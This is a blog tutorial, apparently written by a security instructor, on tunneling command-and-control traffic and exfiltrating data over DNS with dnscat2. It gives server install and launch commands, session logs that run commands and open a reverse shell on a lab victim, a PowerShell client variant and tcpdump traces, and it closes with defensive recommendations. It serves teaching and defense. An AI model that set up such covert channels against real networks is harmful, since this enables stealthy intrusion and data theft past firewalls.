Tunneling Data and Commands Over DNS to Bypass Firewalls

No matter how tightly you restrict outbound access from your network, you probably allow DNS queries to at least one server. Adversaries can abuse this "hole" in your firewall to exfiltrate data and establish stealthy Command and Control (C2) channels that are very difficult to block. To understand the use of DNS for C2 tunneling, let's take a look at Ron Bowes's tool dnscat2, which makes it relatively easy to experiment with such attack techniques.

The tunneling approach implemented by dnscat2 involves an attacker-controlled system running dnscat2 server software. This Internet-accessible host listens for specially-formulated DNS queries the dnscat2 client component issues from the victim's environment to transmit data or obtain instructions.

Installing dnscat2 Server

To experiment with dnscat2, you will need an Internet-accessible Linux-style system where you can install dnscat2's server component. You can use a public cloud provider such as DigitalOcean (the link includes my referral code). I like this provider in part because it offers a low-end virtual private server instance for as little as $5 per month, which is perfect for experimenting with dnscat2. You can deploy a "droplet" running Ubuntu there in a few clicks:

Digital Ocean Droplet Ubuntu

Once the new host is active, log in to it and run the following commands as root to install dnscat2 server software, assuming you are using Ubuntu:

# apt-get update
# apt-get -y install ruby-dev git make g++
# gem install bundler
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install

At this point, dnscat2 server software should be installed, but not yet active.

C2 Tunneling If All Outbound DNS is Allowed

Let's start getting to know dnscat2 by preparing for a scenario where the targeted environment allows all outbound DNS traffic to any DNS server. In this case, you can activate dnscat2 server without any configuration by running the following command on your Internet-accessible server as  a root user:

# ruby ./dnscat2.rb

You should run this command from the directory where dnscat2 was installed, which was "dnscat2/server" in the example above. Once active, the dnscat2 server component will listen on UDP port 53, presenting an interactive shell to remotely control systems that run dnscat2 client software.

Next, go to the system in your environment that represents the victim host and run dnscat2 client software there without any parameters. If performing this task on Windows, you can download the pre-built dnscat2 client executable from the author's website. Your should launch the client by specifying the IP or hostname of your server system in the "--host" parameter. In my experiment, my dnscat2 server was running on, so I activated the dnscat2 client like this:


When this occurred, my dnscat2 server immediately notified me that a client system established a connection and presented a shell for remotely controlling that computer. (I eliminated some in the excerpt below for brevity.)

# ruby ./dnscat2.rb
Starting Dnscat2 DNS server on [domains = n/a]...
No domains were selected, which means this server will only respond to direct queries (using --host and --port on the client)
dnscat2> New session established: 16059

I was then able to interact with the infected system, for instance directing it to launch Notepad:

dnscat2> session -i 16059
Welcome to a command session!
Use 'help' for a list of commands or ^z for the main menu
dnscat [command: 16059]> exec notepad.exe
Sent request to execute
dnscat [command: 16059]>

In addition to allowing users to execute arbitrary commands on the infected system, dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from the victim's host.

An analyst monitoring the victim's network would merely see DNS queries and responses being sent between the system running the dnscat2 client and adversary's server. Such traffic will blend into the "noise" present on most networks. For instance, when establishing the initial C2 connection, dnscat2 client attempted to resolve a TXT record, sending the query to my DNS server, as shown by Wireshark:


To protect against this scenario, your environment could restrict outbound traffic, allowing DNS interactions only with a handful of trusted servers. In my example, this approach would block outbound DNS traffic to my C2 server Unfortunately, DNS-tunneled C2 traffic could still slip through such controls, as shown in the following example.

C2 Tunneling If Only Trusted DNS Servers Are Allowed

For a more robust C2 configuration, the adversary could register a domain name and designate the system running dnscat2 server software as the authoritative DNS server for that domain. This way, dnscat2 client will no longer need to connect directly to the C2 server. Instead, the client would issue a query for the malicious domain to the victim's trusted DNS server, which would forward the message to the C2 server and return the adversary's answer to the client. In this scenario, the protected environment can only access the trusted DNS server, but that DNS server can contact external DNS servers to resolve queries that it cannot answer directly.

I configured my experimental domain combatingmalware.com to use as its authoritative name server. Then I launched dnscat2 server software by specifying which domain name it should use for C2 tunneling:

# ruby ./dnscat2.rb combatingmalware.com
Handling requests for the following domain(s):
Starting Dnscat2 DNS server on [domains = combatingmalware.com]...
Will also accept direct queries (using --host and --port on the client)

Next, I ran the dnscat2 client by specifying the domain name "combatingmalware.com" like this:


This time the dnscat2 client was not sending DNS queries directly to my C2 server. Instead, the victim's system was communicating with its standard, trusted DNS server, attempting to resolve hostnames within the "combatingmalware.com" domain, as you can see in this Wireshark capture:


As expected, my C2 server exchanged no packets with the victim's host directly. My lab was using OpenDNS' servers, so the conversations went with OpenDNS servers. Here is how tcpdump running on my server saw some of this traffic: > 59036 [1au] TXT? 35bc006955018b0021636f6d6d616e642073657373696f6e00.combatingmalware.com. > 59036*- q: TXT? 35bc006955018b0021636f6d6d616e642073657373696f6e00.combatingmalware.com. 1/0/0 [1d] TXT "6c29006955d5b70000" > 41672 [1au] TXT? 3f29016955018bd5b7.combatingmalware.com. > 41672*- q: TXT? 3f29016955018bd5b7.combatingmalware.com. 1/0/0 [1d] TXT "11b8016955d5b7018b"

This means that even if you've configured your environment to use only trusted internal or external servers for DNS resolution and blocked all other outbound DNS traffic, the adversary could still tunnel C2 traffic by sending it through your normal DNS infrastructure.

What if you focused your defensive efforts on blocking the dnscat2 client from being able to run on your Windows systems, the way you might block standard malware? Good idea, but you better make sure you lock down PowerShell too, as shown in the next scenario.

DNS Tunneling Using a PowerShell Client

Rather than installing the full-fledged dnscat2 client, the adversary could standard Windows PowerShell to communicate with the dnscat2 server from the compromised system. Luke Baggett's dnscat2.ps1 script demonstrates this capability by implementing a meaningful subset of dnscat2 C2 commands.

To experiment with dnscat2.ps1, I imported the script into PowerShell on the victim system in my lab and directed its dnscat2 cmdlet to open a reverse shell to my C2 server though "combatingmalware.com" like this:


As in the previous example, the traffic was tunneled through DNS. I was able to execute arbitrary commands on the infected host by indirectly interacting with its Command Prompt:

dnscat2> New session established: 9024
dnscat2> session -i 9024
Welcome to session 9024!
If it's a shell session and you're not seeing output, try typing "pwd" or something!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

How to Defend Against C2 Tunneling Over DNS?

The very nature of DNS allows enterprise system to communicate with arbitrary hosts on the Internet to resolve DNS queries. This capability allows tools such as dnscat2 conceal data and commands within DNS traffic, bypassing traditional network security controls. I am struggling to come up with a solution to plug this firewall "hole," but I have a few risk mitigation recommendations:

  • Limit the number of DNS servers that systems on your network are allowed to reach to not only complicate the adversary's tunneling setup, but also to limit the types of DNS interactions you need to oversee.
  • If possible, direct DNS activities through a set of DNS servers that you control, so you can keep an eye on them and tweak there configuration when necessary.
  • Monitor DNS activities for anomalies, looking at DNS server or network logs. The use of DNS for C2 tends to exhibit timing and payload deviations that might allow you to spot misuse. (See a paper by Greg Farnhamadvice from Lance James and suggestions from Martin Lee for the specifics.)

The idea of tunneling data and commands through DNS is not new. However, tools such as dnscat2 make such techniques easy to implement for both malicious purposes, penetration testing and your own experimentation. For one real-world example of stealthily exfiltrating data using DNS queries, take a look at BernhardPOS and MULTIGRAIN commercial malware and at the tactics of APT actor ProjectSauron/Strider.


About the Author

I transform ideas into successful outcomes, building on my 25 years of experience in cybersecurity. As the CISO at Axonius, I lead the security program to earn customers' trust. I'm also a Faculty Fellow at SANS Institute, where I author and deliver training for incident responders. The diversity of cybersecurity roles I've held over the years and the accumulated expertise, allow me to create practical solutions that drive business growth.

Learn more